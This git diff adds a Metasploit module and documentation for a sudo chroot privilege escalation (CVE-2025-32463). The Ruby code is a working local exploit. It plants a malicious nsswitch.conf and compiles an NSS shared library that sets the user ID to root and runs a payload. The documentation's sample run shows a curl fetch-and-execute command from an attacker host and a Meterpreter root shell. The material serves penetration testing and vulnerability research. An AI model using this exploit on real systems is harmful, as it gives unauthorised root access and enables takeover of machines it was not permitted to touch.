diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md new file mode 100644 index 0000000000000..21bc20c0b714f --- /dev/null +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -0,0 +1,94 @@ +## Vulnerable Application + + +Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). + +## Installation + +1. Create `Dockerfile`: +``` +# ----- Dockerfile ----- +FROM ubuntu:24.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \ + pkg-config libssl-dev git ca-certificates && \ + rm -rf /var/lib/apt/lists/* + +WORKDIR /opt +RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ + tar xzf sudo-1.9.16p2.tar.gz && \ + cd sudo-1.9.16p2 && \ + ./configure --disable-gcrypt --prefix=/usr && make && make install + +RUN useradd -m -s /bin/bash msfuser + +USER msfuser +WORKDIR /home/msfuser + +CMD ["/bin/bash"] +``` +1. `docker build -t sudo-chroot .` +1. `docker run -it --rm --privileged sudo-chroot` + + +## Verification Steps + + +1. Start msfconsole +2. Get existing session to low-privileged user +3. Do: `use linux/local/sudo_chroot_cve_2025_32463` +4. Set target payload +5. Do: `set lhost [attacker IP address]` +6. Do: `set lport [attacker port]` +7. Do: `run` + +## Options + +### COMPILE + +Option setting if compile target payload on the target. + +### COMPILER + +Option setting the compiler to compile target payload. + + +## Scenarios + +``` +msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true +[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO& +[*] Fetch handler listening on 192.168.168.128:8080 +[*] HTTP server started +[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Running version 1.9.16.2 +[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ... +[*] Max line length is 65537 +[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf +[*] Creating directory /tmp/ugJjJFSc9q +[*] /tmp/ugJjJFSc9q created +[*] Max line length is 65537 +[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf +[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ +[*] Sending payload to 192.168.168.140 (curl/8.14.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Launching exploit... +[*] Sending stage (3090404 bytes) to 192.168.168.140 +[+] Deleted /tmp/Xw1XwkTPC +[+] Deleted /tmp/ugJjJFSc9q +[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200 + +meterpreter > sysinfo +Computer : kali.kali +OS : Debian (Linux 6.12.25-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb new file mode 100644 index 0000000000000..9309ed10bd2e9 --- /dev/null +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Compile + include Msf::Post::Linux::Packages + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', + 'Description' => %q{ + Sudo before version 1.19.17p1 allows user to use `chroot` option, when + executing command. The option is intended to run a command with + user-selected root directory (if sudoers file allow it). Change in version + 1.9.14 allows resolving paths via `chroot` using user-specified root + directory when sudoers is still evaluating. + This allows the attacker to trick Sudo into loading arbitrary shared object, + thus resulting in a privilege escalation. + }, + 'License' => MSF_LICENSE, + + 'Author' => [ + 'msutovsky-r7', # module dev + 'Stratascale', # poc dev + 'Rich Mirch' # security research + ], + 'Platform' => [ 'linux' ], + + 'Arch' => [ ARCH_CMD ], + + 'SessionTypes' => [ 'shell', 'meterpreter' ], + + 'Targets' => [[ 'Auto', {} ]], + + 'Privileged' => true, + + 'References' => [ + [ 'EDB', '52352' ], + [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'], + [ 'CVE', '2025-32463'] + ], + 'DisclosureDate' => '2025-06-30', + + 'DefaultTarget' => 0, + + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + # force exploit is used to bypass the check command results + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + # borrowed from exploits/linux/local/sudo_baron_samedit.rb + def get_version + versions = {} + output = cmd_exec('sudo --version') + if output + version = output.split("\n").first.split(' ').last + versions[:sudo] = version if version =~ /^\d/ + end + versions[:sudo].gsub(/p/, '.') + end + + def check + sudo_version = installed_package_version('sudo') || get_version + + return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank? + + return CheckCode::Safe if !file?('/etc/nsswitch.conf') + + return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) + + CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # needs to compile in real-time to adjust payload execution path + fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? + + payload_file = rand_text_alphanumeric(5..10) + + existing_shell = cmd_exec('echo $0 || echo ${SHELL}') + + return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) + + upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") + + register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") + + temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}" + + base_dir = rand_text_alphanumeric(5..10) + + lib_filename = rand_text_alphanumeric(5..10) + + mkdir(temp_dir) + + cd(temp_dir) + + mkdir(base_dir.to_s) + + mkdir("#{base_dir}/etc") + + mkdir('libnss_') + + return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") + + return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") + + exploit_code = %< + #include + + __attribute__((constructor)) + void exploit(void) { + setreuid(0,0); + execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); + + }> + + upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") + + cmd_exec("sudo -R #{base_dir} #{base_dir}") + + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec 'command', nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end